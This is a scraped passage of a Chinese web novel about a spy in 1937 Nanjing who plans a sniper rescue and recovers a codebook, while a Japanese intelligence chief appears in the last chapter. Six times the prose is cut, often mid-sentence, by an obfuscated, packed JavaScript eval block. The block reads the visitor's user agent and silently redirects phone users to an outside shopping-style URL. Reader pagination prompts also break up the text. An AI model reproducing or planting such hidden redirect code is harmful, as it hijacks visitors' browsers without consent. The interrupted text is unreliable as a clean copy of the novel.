一下、二下、三下……枪托雨点般砸在林赤的身上。 林赤把头埋得很低,他首先要保护的是自己的脑袋。 开始林赤还在硬撑着,后来一想,硬撑只能招来更频繁的击打,索性以弱示人,他重重地趴倒在地,双手抱头,尽量把头埋在身子里。 倒地的瞬间,他看到了老太内疚而自责的眼神。 他用眼神示意老太带着孩子赶快离开。 眼前忽然发生的一切,已把小女孩吓得哭不出声。 老太拉着她惊惶地逃离人群。 人们下意识后退,远离这片是非之地,眼前立即腾出了一大块空地。 林赤趴在冰凉潮湿的泥土地上,他胸口的枪伤已经裂开,撕裂般疼痛。 这一番密集的砸打后,那名日本士兵的气已渐渐消去,他每砸一次,气就减少一份,当他气喘吁吁时,他已完全解气。这种情绪指数还在上升,很快由负数升到了正数,这时的他已无半丁点怒气,转而内心充满了畅快淋漓。 他想,再冷的目光在暴力之下都得乞怜。 他洋洋自得地把长枪背在肩上,连看都没看林赤一眼,摇摆着身体回到了他的原位。 空旷的地上,林赤孤零零地躺着。 四周出奇的寂静。 他感觉到了右胸的伤口在不断地流血。 在凶残的暴力面前,无奈的人们只能远远地看着,敢怒而不敢言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259541|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林赤用手撑地,极力地想爬起来。 但这一番击打后,林赤确实感到有点力不从心。 他把膝盖慢慢蜷缩、弯曲,试图用膝盖作为支撑点,撑起虚弱的身体…… 一双手这时架住了他的右臂,林赤感觉到对方在用力。 这份力度,怎么也不像来自于男性。 借着这份力,林赤终于站了起来。 林赤看到了那熟悉的晶莹明亮的双眸。 看到了那长长的睫毛。 看到了那微蹙的眉角。 看到了那微微上扬的嘴角。 是制止他拿枪的那位少女。 此时,她的那双眼睛充满了对林赤果敢的赞许和无尽的温柔。 她把林赤的手搭在它的肩上,用她的肩吃力地支撑起林赤的身体,一步一步地向前、向前! 围观的人群,自动给他们让出一条道。 艰难的走了十来分钟。 在应天教会医院门前,女孩停了脚步。 女孩说:“我带你到我们医院处理一下伤口。” 林赤说:“不用,我没事。” 女孩指了指她肩上的血迹说:“还说没事,你的胸口都流血了。” 她不容林赤再回答,也没准备让他回答,转身就将林赤架进了医院。 她把林赤被架到一间只有十平方左右的房间里。 女孩说:“疼吗?” 林赤摇了摇头。 她伸手解开林赤的大衣,当解到第二颗纽扣的时候,她说:“你这件衣服在哪里买的,我 看着眼熟,去年冬天我曾经给我爸买过一件,和你身上的一模一样。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第32章 卷烟店 第二天早晨醒来,李毅的宿舍已空无一人。 李毅和其他的舍友应该都回医院工作去了。 李毅的宿舍在教会医院后面的三楼。 林赤看了一下时间,已经将近九点钟了,他算了一下,这一觉,他睡了足足十二个小时。 这是他这几天来睡得最沉也是最舒服的一次。 周围安静极了。 穿衣服的时候,林赤感到了空气中逼人的寒气,他的眼光扫过窗户,落在了对面的屋顶上,他看到了屋顶上白皑皑的一片。 下雪了。 穿好衣服,下床。林赤像个孩子一样跑到了窗前。 推开窗户,满眼的白色刺得眼睛生疼。 这白色,掩盖了荒芜,遮蔽了罪恶,把一切的破败和残象修补得天衣无缝。 唯一掩饰不了的,是眼前的那份凄冷与萧瑟。 放眼望去,往常喧闹的街头,少有行人。安全区内的那条主干道被厚厚的积雪覆盖着,鲜有足迹。 安全区西南角的全貌尽收眼底。 林赤看到了一栋三层高的建筑,上面插着一面旗帜,没有风,那面旗帜慵懒得一动不动,即便如此,林赤还是认出了那是美国的星条旗。 是美国大使馆。 林赤的眼睛开始搜索锤子所说的烟卷店。 果然,他看到了在大使馆北侧两百米的地方,有一家小店,二十平方不到。 小店的招牌上写着几个字:便民烟店。 柜台上方的数扇木板已被取下,烟店已开门营业。 这时有人推门进来。是李毅。 李毅手里端着铁皮饭盒,饭盒上摆放着一个馒头。 李毅说:“你起床啦,在看什么呢?” 林赤说:“雪。” 李毅:“这是南京今年的第一场大雪。” 李毅:“思秋让我把早饭给你送来,还有一块馒头,估计是思秋省下来给你吃的。” 说完把饭盒递到林赤手里。 李毅说:“你和思秋什么关系?她对你真好!” 林赤说:“她是我妹妹。” 李毅重新打量了一眼林赤,说:“亲妹妹?” 林赤说:“差不多。” 李毅:“你姓曲?” 林赤:“我姓林。” 李毅没有再问什么,一脸不解。 放好饭盒,李毅说:“我先走。”说完关上门出去了。 林赤去盥洗室洗漱,刚才回答李毅的话又浮现出来。 林赤心想,曲思冬那小子真幸福,有这样一个又漂亮又善良的妹妹。 其实昨天当曲思秋报出自己的名字的时候,林赤就知道了曲思秋的身份。 曲怀齐和柳兰夫妇曾和他说起过有个女儿叫曲思秋,在安全区的应天教会医院当医生。当曲思秋说起他身上所穿的衣服眼熟时,他已猜到七八分。况且,她的名字和曲思冬仅一字之差。 曲家对林赤的救命之恩,林赤深埋心底。 大恩不言谢。 林赤一边洗漱一边胡思乱想,突然听到曲思秋在走廊上喊他的名字。 林赤应了一声,匆匆洗漱完毕。 曲思秋一见他出现,就说:“我还以为你走了呢,让我担心死了。” 林赤看她关切的眼神,心中忽然很感动。 回到宿舍,林赤把馒头递给曲思秋:“你吃吧,我不爱吃馒头。” 曲思秋:“我吃过了呀,你吃,不想吃也得吃,你这身体,吃不饱怎么行?” 她把馒头塞到林赤嘴里,林赤用手接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259542|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林赤说:“你有钱吗?” 曲思秋:“你要多少?” 林赤:“五十法币就够了。” 曲思秋掏出两张面值二十五元的法币递给林赤,想了想又补充了一张面值十元的法币。 曲思秋说:“够吗?” 林赤点头。 曲思秋:“你要出去?” 林赤:“我还有件事没完成。” 曲思秋:“要多久?你还回来吗?” 曲思秋又说:“要注意安全,不要逞能,日本人现在到处抓人,只要看你不顺眼。” 他和曲思秋的目光在空中碰撞。 林赤看到她怜忧的眼神,心不由得一动。 曲思秋本能的把目光移向别处,脸微微发红。 林赤埋头喝粥。 空气忽然凝固。 林赤狠咬了一大口馒头,一边吞咽一边说:“你知道吗,我认识你哥!” 这个时候,林赤心中尴尬,不得已抖出这样的秘密来打破沉闷的空气。 曲思秋吃惊的样子。 林赤又说:“我不但知道你哥叫思冬,我还认识你父母……还有你大伯!你父亲叫曲怀齐,你大伯叫曲怀远。” 曲思秋更吃惊了:“怎么可能?” 林赤:“我胸口上的子弹就是你父亲和你大伯取出的!” 曲思秋一把抓住林赤,摇晃着他的身体:“你快说说,到底怎么回事?” 摇着摇着就想起林赤胸口上的伤,曲思秋连忙放下手,改拽他的衣服。 林赤便把紫金山受伤被救、和曲思冬相识、日本 鬼子在紫金山东麓扫荡等事发经过挑重点告知了曲思秋。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第33章 对弈开始 林赤很快返回应天教会医院。 林赤找到曲思秋的时候,她正在给病人换药。 曲思秋看到林赤,连忙把手中的绷带递给了身旁的一个护士模样的女孩,匆匆跑了出来。 曲思秋问道:“你事情办完了?” 林赤边点头边说:“我想在这儿再住两天,麻烦你和李毅打个招呼。” 曲思秋说:“就这个事?没其它的了?” 林赤:“就这个事,不知会不会打搅到他。” 曲思秋满不在乎说:“没问题,那李毅好得跟我像哥们似的。” 林赤说完就待离开,曲思秋连忙问道:“你去哪里?” 林赤说:“回李毅的宿舍休息一会。” 李毅的宿舍依旧没人。 林赤推开窗户,把目光投向了便民烟卷店。 忽生的变故,打乱了林赤的计划。 日本军队占领南京才短短五六天时间,他们的情报机构就已启动,就这一点来说,林赤心中暗暗佩服他们战争机器的高效。 林赤再次联想到昨天的祭亡灵仪式上,日本人主导成立的南京自救会,这也充分说明日本人一刻也没闲着。 林赤觉得自己已经在不自觉中乘上了一列无法回头的快车。 而这列快车的终点站叫“胜利”! 林赤忽然从心底漾上一股豪情,是的,是到了和日本人决一高下的时候了。 舞台已经搭好,轮到他林赤粉墨登场了! 林赤内心的这股豪情,很快转变成亢奋。 我要用毕生所学,给鬼子以致命打击!林赤心想。 与日本人的战斗正式打响! 便民烟卷店依旧门庭冷落,看不出有什么异常。 当务之急,是获得密码本。 得不到“二舅父”提供的密码本,和重庆建立直接联系就是海市蜃楼! 南京城唯一的一套密码本在“二舅父”手里。 找到“二舅父”,只能通过楼下的这家小店。 如果烟卷店已经暴露,“二舅父”在接头时对方必定实施抓捕。 抓捕这种活,五十多岁的店老板绝对无法胜任! 这就意味着他必定有帮手! 可是,帮手在哪儿呢? 林赤的目光在搜寻。 烟卷店周围,再无其它建筑。 林赤再次把目光投向小店。 帮手一定躲藏在小店里,数量两名以上。 得出这样的结论,林赤由衷地笑了笑。 他掏出那包刚买的三炮台,拆开后掏出一根塞到嘴边,可发现竟然忘了买火柴。 林赤想起早晨起床后桌子上曾看见过一盒火柴,返回一看,果然在。 林赤擦亮火柴,把烟卷点着,深深地吸了一口。 林赤继续思考着。 获取密码本的唯一途径必须见到“二舅父”。 “二舅父”只能在烟卷店出现。 必须让“二舅父”在烟卷店出现。 判断出现的是否是“二舅父”,唯一的依据是对方对他实施抓捕。 而阻止敌人的抓捕就是将他们杀掉,从而救出“二舅父”。 敌人人数应该在2-3名,近身搏击显然没有十足把握,最有效最直接的方法是狙击。 …… 林赤又猛吸了一口烟,将剩下的半截弹到了窗外。 一个大胆的计划在他脑海中逐渐完善。 他现在急需要做的有几件事,第一是赶紧见到锤子,了解密码的知情人;第二,把曲思冬的那支毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259543|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑟98K狙击步枪带进安全区;第三,找到合适的狙击点;第四,需要锤子配备起码三名人手。 想完这些,林赤把脑袋伸出窗外,朝上面看了看。 宿舍一共四层,楼顶上应该有天台。 林赤把宿舍门虚掩上,爬上了第四层。 他果然在第四层看到了一架木梯,通过一个方形洞孔,伸向了楼顶。 爬上楼顶,在蓄水箱旁,他发现了一个极佳的狙击点。 一根铸铁水管连接着两个蓄水箱,距离楼顶的地面不到一米,把那支毛瑟98K架在上面再合适不过了,最关键的是,从此处鸟瞰烟卷店,射角开阔,一目了然。 林赤下到三楼,快到李毅宿舍时,听到里面传来了曲思秋的声音。 林赤掏出一根烟,点上。然后佯装咳嗽了几声。 林赤推门而入。 曲思秋一看是林赤,站起身来,说道:“你去哪儿啦?” 林赤扬了扬手中的烟,说:“我在盥洗室抽烟呢!” 曲思秋一脸责备:“你伤成这样还抽烟?” 说着就把林赤手中的烟夺下,在地上踩灭。 抬头时,他看到曲思秋似笑非笑的眼神。 林赤忽然想到了一点,应该是曲思冬这小子到了,而且肯定是藏在门后。 林赤的判断不是没有依据!在楼梯口的走廊上,他就听到了曲思秋的声音,这说明她旁边应该是有其他人,而当林赤进门的时候,视觉得出的结论是屋里除了曲思秋没有其他人,这个人显然是藏起来了,他眼前这有限的空间里,只有门后才是最佳藏身地;而 能和他玩“躲猫猫”游戏的人,他一定很熟悉,并且这个人和曲思秋一定也很熟悉…… 本小章还未完,请点击下一页继续阅读后面精彩内容! 第34章 准备 林赤掏出一根烟点上。 吸了一口烟,林赤看了一眼烟头上滋滋燃烧的红光,顺势坐在了身旁的桌子上。 林赤说:“我去的时候,烟卷店已被激活了。” 锤子一脸惊愕:“这怎么可能?” 林赤说:“如果这不是你的安排,就意味这烟卷店已将暴露,店老板或许叛变!” 林赤:“假如情况属实,说明日本人的情报机构已经开始运作!” 锤子微微点头。 林赤说:“‘二舅父’这条线,还有谁知道?” 锤子想了想,边摇头边说:“就目前我了解的情况,这件事只我一人知道,并且我也只告诉了你一人,至于其他有没有人知道,得问蜂鸟,撤退计划是他主持的。” 蜂鸟在千里之外的重庆。 问题转了一圈,又回到起点,那就是必须与重庆建立直接联系,而建立联系所需的密码本在二舅父手里,和二舅父的联系只能通过便民烟卷店,如今烟卷店可能已经暴露。 俩人都沉默不语。 锤子率先打破沉默:“新年同志,鉴于目前情况,你有什么好办法?” 林赤说道:“办法倒是有一个,不过有些冒险!” 锤子说:“请讲!” 林赤:“无论如何,我们还是得通过烟卷店才能找到二舅父,可是如果二舅父一旦出现,就会遭到抓捕,我们在敌人抓捕的时候动手,营救二舅父!” 锤子顾虑重重,说道:“这么做一旦失败了,你知道后果是什么吗?” 林赤说:“二舅父被捕!” 林赤吐出一串眼圈,继续道:“就算二舅父没有把密码本带在身上……当然他也不可能随身携带,万一他扛不住,敌人获得了我们的密码,那对我们的情报系统将是一次毁灭性打击!” 锤子不无担心地说:“即使现在我们和重庆的联系畅通,我估计他们也不会同意我们的计划!” 锤子思索着,又说道:“按我们特务处戴处长的行事风格,出现这样的情况,通常的做法是,一旦现场确认了二舅父的身份,则必须果断灭口,不给日本人留机会!” 林赤瞪大了眼睛:“可是二舅父是我们自己人啊!” 锤子说:“小兄弟,你是什么时候加入我们复兴社的?” 林赤:“去年,还不到一年!” 锤子:“难怪。我们复兴社向来有一条不成文的规定,任何行动抉择的依据,必须是以最坏的结果为前提。” 林赤不由得提高了声音:“那我们总得试一试啊!” 锤子:“说说你的打算。” 林赤:“我已经选好了狙击点,敌人一旦实施抓捕,我负责干掉他们,你在附近安排人手接应,营救二舅父!” 锤子:“我丝毫不怀疑你的狙击成功率,但是,任何事情总有万一,如果不成功怎么办?” 锤子来回走了几步,看林赤沉默不语,断然道:“如果任务失败,立即击毙二舅父!” 林赤皱了一下眉头,刚想说话,锤子不耐烦地打断了他:“这是命令!” 林赤不再争辩,他理解锤子的苦衷,他得对这次行动负责。 林赤说:“毛瑟步枪的子弹有了吗?” 锤子拉开抽屉,递给林赤林赤一盒子弹。 林赤说:“估计二舅父今天不会前往,明天是关键的一天,要保证你安排的人明天早晨八点到位!” 锤子:“需要多少人?” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259544|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤:“不少于三人,都扮成安全区的义工,俩人在小店附近,装成扫雪工,不要超过两百米,一人埋伏在安全区西大门接应,以我的枪响为信号。” 回到安全区,走到应天教会医院宿舍楼下,林赤并没有马上上去,他继续向南走,在便民烟卷店门口,他放慢了脚步。 告示依旧贴在原处,被林赤撕掉的缺口还在,看来老板并未发现。 林赤目光扫了一下小店,发现老板身子靠在柜台上,头朝里屋,一直没有回头。 老板竟然在和人聊天! 林赤更坚定了自己的想法。 小店里还有其他人存在,从小店的面积来看,人数不会太多,初步判断在二到三名。 林赤继续前行,小店的南首,就是美国驻华大使馆,由于中日开战,大使馆的大部分工作人员已经撤离,留守人员很少,门前冷冷清清。 在小店的东南侧,就是金陵女子文理学院,正对美国大使馆的,是一栋老旧的五层高的美式教学楼。 从这条路再往南走,大约五百米的样子,就到了汉中路,安全区南门就设在那里。 林赤把周围的环境熟悉了一遍,已心中有数,就返回宿舍。 曲思冬躺在李毅的床上,呼呼大睡。 林赤知道这小子几天来累坏了,又缺觉,就没叫醒他。 他轻轻走到窗前,静静地观察着便民烟卷店。 半小时后,李毅推门进来了,当他看到有人躺在他的床上,不由皱了皱眉。 这个细微的动作,被林赤尽收眼底,一定是他们打搅到李毅了,林赤心中不安,连忙递给一支烟。 小主,这个章节后面还有哦,请 点击下一页继续阅读,后面更精彩! 第35章 鏖战 子夜时分,曲思冬如约而至。 睡觉前,林赤去了趟洗手间,回来时故意把宿舍门虚掩着。 等曲思冬的时间太久,林赤躺在床上,困意袭来,渐渐闭上了眼睛。 朦胧间,林赤觉得有人推他,睁开眼,借着走廊上的灯光,他发现是曲思冬。 这时宿舍里鼾声一片。 林赤并未脱衣服,起身后穿上了鞋就把曲思冬拉出门外。 曲思冬手里拎着一把长枪。 林赤带曲思冬上了楼顶的天台后,才说话。 林赤说:“辛苦你了。” 接过曲思冬的毛瑟98K,林赤摸索着把子弹一颗一颗的镶进了弹夹。然后把枪连同望远镜藏进了蓄水箱底座的角落里。 曲思冬轻声的问:“到底怎么回事?” 林赤没有马上回答,把曲思冬带来的绳子抓在手里,走到天台的东北角,把绳子固定在天台围栏的一根钢筋上,余下的裹成一团放在围栏里侧。 做完这一切,林赤指着西南方的便民烟卷店,对一直跟在身后的曲思冬说:“这家烟店是我们的联络点,店主已经投敌,这两天将有我们的一名代号‘二舅父’的同志前去接头,他身上藏着我们的一个大秘密,我的任务是要阻止敌人的抓捕,尽可能把他救出,到时会有我们的人在烟店附近配合,如果营救失败,就把他击毙。” 曲思冬重新审视了一下烟卷店:“撤离路线定好了吗?” 林赤:“从安全区西大门撤离,路线由营救的同志制定。” 曲思冬:“外围营救的几个人?” 林赤:“不少于三人。” 曲思冬有些失望:“你们都安排好了,还有我什么事?” 林赤说:“为防万一,你守医院里,叫思秋在你手臂上缠些纱布,装成病人,听到枪响后,立即到医院门口机动,随时应对意外状况。” 林赤说完,把锤子给他的那把手枪递到曲思冬的手里。 林赤又叮嘱道:“一旦任务失败,一定要将‘二舅父’击毙!” 曲思冬轻轻地说了声好。 再回宿舍,俩人挤在一张床上,和衣而睡。 早饭后,曲思冬去医院找曲思秋,林赤悄悄地上了楼顶。 林赤将那架木梯拉上了楼顶天台,摆放在两个蓄水池的中间,趴在上面。 店老板还没来,便民烟卷店大门紧闭。 将近九点,店老板出现。 冬日的暖阳下,林赤看到老板走起路来腿竟有些跛。 老板打开店门,开始拆卸柜台上方的木板,进屋将那块涂着黑漆的木板拎在手上,踮脚悬挂的时候,他的眼光落在了黑板上,端详一会儿,将板上的告示撕去,扭头又进了小店。 几分钟后老板再次走出来,手里拿着一张白纸,小心翼翼地把它张贴在黑色的木板上。干完这一切,老板又走进了店内。 约摸过了十分钟的样子,从南侧金陵女子文理学院方向走来两个人,在便民烟卷店门前停住,四周看了看,快速闪身入内。 这一切,与林赤预料的分毫不差。 他们在等二舅父的现身。 林赤也在等二舅父的出现。 只是他们的目的相左,一方是要抓获,而另一方则是要实施营救。 积雪传递出阴重的凉气,林赤感到手脚已麻木,他微微活动了一下手脚。 太阳渐渐升高,中午将至,“二舅父”还是没出现。 整个上午,小店只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259545|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现了三波顾客,但都不是二舅父。 中午一个多小时又过去了,依旧不见人影。 难道二舅父不在安全区里?他还会来吗?林赤内心有些焦急。 太阳继续向偏西南方移动,中午时分出现的短暂的温暖转眼逝去。 突然,林赤看到马路的中间出现了一个身影。 身影在靠近烟店,越来越近。 身影看起来眼熟。 林赤低下头,通过望远镜观察,原来是李毅。 李毅径直向便民烟卷店而去。 他似乎看到了门前的那张告示,身体竟有迟疑。 李毅走到烟店柜台前,看得出他在和老板说话。 林赤把手中的那支毛瑟98K重新调整了一下位置。 但很快,林赤看到李毅手里拿着一盒烟,朝烟店斜对面的应天教会医院走去。 李毅不是,林赤虚惊一场。 借此机会,林赤起身,在蓄水池的后面活动了一下身体。 腿脚已经麻木,有种针刺感。 再趴下,林赤把眼光投向烟店。他像是一个潜伏的猎人,在等待猎物的出现。 …… 医院大厅靠近走廊的一张长椅上,此时的曲思冬正坐在上面无聊地摆弄着手臂上的纱布线头。 他的两边坐着两个男的,一个头靠在墙上,闭着眼睛似乎在睡觉,另一位,低着头在看书。 曲思冬早饭后去医院找曲思秋。思秋看到他后愣了一下:“你怎么还没走?” 曲思冬把她拉到僻静的角落,说明意图。 曲思秋警觉地问:“你们要干什么?” 这章没有结束,请点击下一 页继续阅读! 第36章 密码本 林赤这时正顺着楼顶天台的那根绳子,快速地滑到地上。 脚一着地,他立即沿着医院和宿舍楼之间的过道跑了起来。 他在替曲思冬担忧。 他隐约觉得刚才那声尖锐的枪响,来自于九七式狙击步枪。 尽管九七式和三八式的枪声没有什么明显区别。问题在于三八式是日军配备最广泛也是最普通的制式步枪,可是枪响后,在宿舍楼的天台上,他并未看到附近有增援的日本士兵。这恰好说明了一个问题,枪手是在暗处。 九七式是在三八式的基础上研发成功的,子弹通用,均为6·5毫米口径。区别在于九七式的枪托较轻,采用加长的弯拉机柄,以减少拉柄在操作时与瞄准镜产生干扰,可加装2·5倍或九九式四倍光学瞄准镜。九七式最大的优点是口径和枪管长度进行了完美的搭配,堪称黄金比例,6·5毫米口径的子弹经约24寸的枪管,火药充分或者几乎燃尽,枪口在射击时几乎没有闪焰,因此枪手在黑暗中总能得到很好的掩护与藏匿,是当之无愧的冷枪。 一出过道,林赤已看到不远处的曲思冬正躲在一棵法国梧桐树后面。 曲思冬也看到了林赤,他背对着树干,手指朝身后的建筑指了指。 林赤会意,曲思冬手指的方向,正是那栋美式教学楼。 林赤闪过医院的大门,贴着医院门前的砖墙,向南侧极速移动。 移动到砖墙的边缘,林赤停住,他知道砖墙的后前方就是金陵女子文理学院的教学大楼。 林赤背靠着墙,利用墙的拐角作掩护,把枪口伸了出去。 他判定枪手在教学楼的楼顶。 只要是一个狙击手,都会把伏击点定在那里,因为只有那个角度,视野最开阔。 林赤抽出右手,向曲思冬打了个手势。 然后他迅速探头,眼光掠过楼顶,视觉传导的信息在大脑中立即被加工,并反馈到运动神经——他的枪口已在刹那间进行了微调…… 毛瑟98K的枪声听起来总是比九七式来得更为豪放! 与林赤同时开枪的还有曲思冬。 他们是在压制对方可能的射杀。 借着林赤开枪掩护之际,曲思冬一个腾跃,脱离了那棵梧桐树的庇护,转眼间就冲到了医院门口,从而进入了对方的射角盲区。 林赤看到曲思冬已然脱险,收起枪返身就跑。 在医院和宿舍的过道,林赤把手中的长枪和脖子上的望远镜塞到曲思冬手里。 林赤说:“把它们藏到楼顶上的蓄水池里!墙后面有绳子!在西大门等我!” 说完林赤不管曲思冬听没听明白,就独自向前继续跑去。 …… 林赤要去的地方,是李毅的三楼宿舍。 李毅已死,密码本的秘密可能会随同李毅一起消逝。 但在林赤的心中,还尚存着一丝希望。 他所知道与李毅唯一有关联的,就是李毅的宿舍。 在这兵荒马乱之际,密码本虽不会随身携带,但也不会让它离开自己太远,最好是一直在自己的视线里。 林赤想起昨天曲思冬睡在李毅床上,李毅极不情愿的神色。 对于像李毅这样的人来说,宿舍就是他的家。确切地讲,他朝夕相伴的那张床才是他的家,尽管这个家没有什么私密空间。 密码本肯定就藏在他的那张床周围。 他的床下有一个箱子,李毅昨天曾打开过,但这恰好可以证明密码本不可能藏于此。对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259546|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于如此珍贵的东西,一个木箱和一把锁根本阻止不了别人的好奇心,况且以中国千年以来——贵重的东西总是压在箱底的传统,别有用心之人最先觊觎的则正是他床下的箱子! 所以,密码本与木箱无关。 在这有限的空间里,密码本的藏匿是需要才华的。 或许,李毅昨天打开箱子只是某种掩饰,会不会他利用打开箱子的机会,来证实密码本的安全与否? 想到这里,林赤心中已稍有眉目。 上了三楼,林赤看到李毅的宿舍大门已锁。 林赤来不及多想,一脚将大门生生踹开。 来到李毅的床前,林赤拉出木箱,单膝跪地,把头伸到床下四处扫视。 当他一看到李毅的床板,心中就产生了疑问。 李毅的床板是一整块木板。 林赤再看其他的床,发现另外的床板都是用木条固定的,唯有李毅的床板别具一格。 林赤毫不犹豫的把床上的被褥全部掀掉,只剩下一张床板。 他双手握住床板想把它抬起,立刻感觉到床板的异样。床板很厚,厚得不符合逻辑,足足有五寸。 他的目光快速掠过床板,未发现有什么异样。 林赤又将床板翻了个身。 他忽然看到,在床板的正中央,有个七八寸见方的刻痕,林赤把手按了上去,感觉到它在微微颤动,再一细看,他看到了刻痕上有木胶的印迹。 林赤一拳砸了下去,它立即塌陷。 木板上被镂空了一块,藏匿在里面的是一本纸质的东西,林赤把它掏出,粗略一翻,正是一密码本。 小 主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第37章 松机关 就在林赤趴在应天教会医院宿舍楼的天台上,射出他第一颗子弹的时候,在南京黄浦路中央陆军军官学校的一栋占地三百多平米的建筑里,黑木瞳正坐在他一楼的办公室里,聚精会神地阅读着一份文件。 黑木瞳所在的这栋楼,原是蒋介石起居、工作的主要场所,亦称总统官邸。位于南京中央陆军军官学校的东北角,名叫憩庐,平面呈长方形,总高二层,另有一层地下室。整栋楼砖木结构,墙壁为红砖砌造,屋顶覆盖红色板瓦,室内木地板,木楼梯。入口处有一圆拱装饰的方形门廊,楼下有客厅和办公用房,楼上有客厅和卧室。 憩庐楼外部造型简洁朴实,内部设施一应俱全。 黑木瞳领导的松机关就设立在此。 这栋楼曾被不少日军机关觊觎,最终还是松井石根拍板给了黑木瞳。 从这件事的结果来看,也足以说明松井石根大将对松机关的重视程度。 日军攻占南京后,南京城大大小小的将军不下十数位,而黑木瞳充其量只是个大佐。尽管松机关的原先机关长是佐方少将,但由于其另有人事安排,所以,黑木瞳已是名副其实的松机关一把手。 此时黑木手里拿着的这份文件,是日军南京警备司令部转呈给各驻南京机关的近期战况汇总。 文件用数据详实记载了自12月13日日军占领南京后的一周内,日军在南京遭遇的各类大小的战斗的次数和伤亡与失踪人数。 一周以来,各类零星战斗89起,死亡人数127名,失踪士兵32名。 文件中重点提出了一起袭击和两起失踪事件。 这起袭击事件黑木瞳有亲身体会,那就是松井石根大将17日当天的入城式现场,共有五名大日本皇军遇刺身亡。凶手三名,一名当场击毙,两名受伤,其中一名重伤。 两起失踪事件,均是发生在第十六师团三十三联队的辖区,第一起失踪四名,其中有一名还是东京参谋本部黑泽将军的儿子,第二起更让人痛心,一下子有九名大日本皇军下落不明…… 黑木瞳有些坐不住了,把文件往桌上重重一摔,径自走到办公桌对面的地图前,刚想细看,发现是一张华东战略地图,便将它拉起…… 再次出现的是一张巨幅南京城防图。 他走近上前,仔细搜寻着三十三联队的防区,他的眼光落在了南京城的东南角,接着死死地盯着一块绿色标注的区域。 这片区域就是紫金山,黑木瞳面对着地图陷入了深深的沉思…… “报告!”一声清脆的女声打破了黑木的沉思。 是渡边雪奈少佐。 渡边雪奈是与黑木原先都是北平特务机关长松室孝良少将的下属,都是经松井石根钦点、来南京组建松机关的。 渡边雪奈芳龄二十四岁,却因长相甜美,身材妖娆蜚声日本情报界,被誉为情报界的一枝花。 黑木问:“什么事?” 渡边雪奈答道:“报告大佐,就在刚刚不久,安全区内发生了一起恶性枪击事件。” 黑木皱了皱眉:“哪里的消息?” 渡边雪奈:“宪兵司令部特高课课长川上麻衣中佐刚刚打来了电话,询问我们是否参与此次枪击事件。” 黑木的眉头皱得更厉害了:“他为何不亲自给我打电话?” 渡边雪奈走近黑木,声音轻柔,完全换成另外一种语气:“听说前不久他们抓获了一名 